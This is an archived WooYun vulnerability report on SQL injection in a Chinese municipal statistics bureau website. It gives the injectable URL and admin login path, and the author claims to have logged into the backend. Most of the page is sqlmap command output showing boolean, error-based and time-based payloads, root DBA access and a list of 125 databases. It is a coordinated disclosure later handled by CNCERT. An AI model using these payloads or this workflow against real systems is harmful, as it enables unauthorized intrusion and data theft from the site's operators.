当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120723

漏洞标题:某政府网SQL注入一枚 暴露大量信息

相关厂商:自贡市统计信息网

漏洞作者: Eric_zZ

提交时间:2015-06-16 12:15

修复时间:2015-08-05 07:54

公开时间:2015-08-05 07:54

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-16: 细节已通知厂商并且等待厂商处理中
2015-06-21: 厂商已经确认,细节仅向厂商公开
2015-07-01: 细节向核心白帽子及相关领域专家公开
2015-07-11: 细节向普通白帽子公开
2015-07-21: 细节向实习白帽子公开
2015-08-05: 细节向公众公开

简要描述:

没干坏事,别查水表,求不忽略。

详细说明:

http://www.zgstats.gov.cn/ListNews.php?cid=120


注入点。

http://www.zgstats.gov.cn/admin/login.php


后台。

1.png


2.png


登进来啦。

3.png


可以修改配置,还好忍住了,啥都没干。

漏洞证明:

sqlmap -u "http://www.zgstats.gov.cn/ListNews.php?cid=120"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:29:13
[15:29:13] [INFO] testing connection to the target URL
[15:29:17] [INFO] testing if the target URL is stable. This can take a couple of seconds
[15:29:25] [INFO] target URL is stable
[15:29:25] [INFO] testing if GET parameter 'cid' is dynamic
[15:29:28] [INFO] confirming that GET parameter 'cid' is dynamic
[15:29:31] [INFO] GET parameter 'cid' is dynamic
[15:29:31] [INFO] heuristics detected web page charset 'GB2312'
[15:29:31] [INFO] heuristic (basic) test shows that GET parameter 'cid' might be injectable (possible DBMS: 'MySQL')
[15:29:31] [INFO] testing for SQL injection on GET parameter 'cid'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] y
[15:29:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:29:44] [WARNING] reflective value(s) found and filtering out
[15:29:58] [INFO] GET parameter 'cid' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[15:29:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:29:59] [INFO] GET parameter 'cid' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[15:29:59] [INFO] testing 'MySQL inline queries'
[15:30:06] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:30:06] [WARNING] time-based comparison requires larger statistical model, please wait..........
[15:31:20] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
.........
[15:31:52] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[15:31:55] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[15:31:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:32:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[15:33:00] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[15:34:53] [INFO] GET parameter 'cid' seems to be 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable
[15:34:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:34:53] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:35:01] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:35:18] [INFO] target URL appears to have 1 column in query
[15:35:25] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[15:35:25] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[15:35:58] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[15:36:06] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[15:38:25] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[15:38:36] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[15:39:45] [INFO] testing 'MySQL UNION query (random number) - 42 to 60 columns'
[15:40:09] [INFO] testing 'MySQL UNION query (NULL) - 62 to 80 columns'
[15:41:11] [INFO] testing 'MySQL UNION query (random number) - 62 to 80 columns'
[15:41:32] [INFO] testing 'MySQL UNION query (NULL) - 82 to 100 columns'
[15:42:34] [INFO] testing 'MySQL UNION query (random number) - 82 to 100 columns'
[15:42:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 198 HTTP(s) requests:
---
Place: GET
Parameter: cid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=120 AND 6005=6005
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cid=120 AND (SELECT 4917 FROM(SELECT COUNT(*),CONCAT(0x7165736c71,(SELECT (CASE WHEN (4917=4917) THEN 1 ELSE 0 END)),0x7175666671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: cid=120 AND 2118=BENCHMARK(5000000,MD5(0x6e584378))
---
[15:43:02] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.12, PHP 5.3.0
back-end DBMS: MySQL 5.0


[19:47:32] [INFO] fetching current user
[19:47:35] [WARNING] reflective value(s) found and filtering out
[19:47:35] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[19:47:35] [INFO] fetching current database
[19:47:38] [INFO] retrieved: tongjiju
current database: 'tongjiju'
[19:47:38] [INFO] testing if current user is DBA
[19:47:38] [INFO] fetching current user
current user is DBA: True


available databases [125]:
[*] cdcol
[*] da
[*] da510304001
[*] da510304002
[*] da510304003
[*] da510304004
[*] da510304100
[*] da510304102
[*] da510304103
[*] da510304104
[*] da510304105
[*] da510304106
[*] da510304107
[*] da510304108
[*] da510304109
[*] da510304204
[*] da510304205
[*] da510304207
[*] fs
[*] fs510322100
[*] fs510322101
[*] fs510322102
[*] fs510322103
[*] fs510322104
[*] fs510322107
[*] fs510322111
[*] fs510322112
[*] fs510322113
[*] fs510322114
[*] fs510322115
[*] fs510322116
[*] fs510322117
[*] fs510322118
[*] fs510322119
[*] fs510322120
[*] fs510322121
[*] fs510322122
[*] fs510322123
[*] fs510322124
[*] fs510322125
[*] fs510322126
[*] fs510322200
[*] fs510322201
[*] fs510322202
[*] fs510322203
[*] gj
[*] gj510303001
[*] gj510303002
[*] gj510303100
[*] gj510303101
[*] gj510303102
[*] gj510303104
[*] gj510303105
[*] gj510303106
[*] gj510303107
[*] gj510303108
[*] gj510303109
[*] gj510303200
[*] gj510303201
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] rkpc
[*] rksk
[*] rksk1
[*] rksk2
[*] rx
[*] rx510321100
[*] rx510321102
[*] rx510321103
[*] rx510321107
[*] rx510321110
[*] rx510321111
[*] rx510321112
[*] rx510321113
[*] rx510321114
[*] rx510321115
[*] rx510321116
[*] rx510321117
[*] rx510321118
[*] rx510321119
[*] rx510321120
[*] rx510321121
[*] rx510321122
[*] rx510321123
[*] rx510321124
[*] rx510321125
[*] rx510321126
[*] rx510321202
[*] rx510321203
[*] rx510321204
[*] rx510321205
[*] rx510321206
[*] rx510321207
[*] test
[*] tongjiju
[*] tongjijubbs
[*] yt
[*] yt510311100
[*] yt510311101
[*] yt510311102
[*] yt510311105
[*] yt510311106
[*] yt510311107
[*] yt510311108
[*] yt510311109
[*] yt510311110
[*] yt510311111
[*] yt510311112
[*] yt510311203
[*] yt510311204
[*] zj
[*] zj510302001
[*] zj510302002
[*] zj510302003
[*] zj510302004
[*] zj510302005
[*] zj510302006
[*] zj510302101
[*] zj510302102
[*] zj510302103
[*] zj510302201
[*] zj510302202
[*] zj510302203
[*] zj510302204


125个数据库。
后台账号密码在其中一个数据库里,这里我就不演示了。

修复方案:

你们比较专业。

版权声明:转载请注明来源 Eric_zZ@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-21 07:53

厂商回复:

cnvd确认并复现所述情况,已经转由cncert下发给四川分中心,由其后续协调网站管理单位处置。

最新状态:

暂无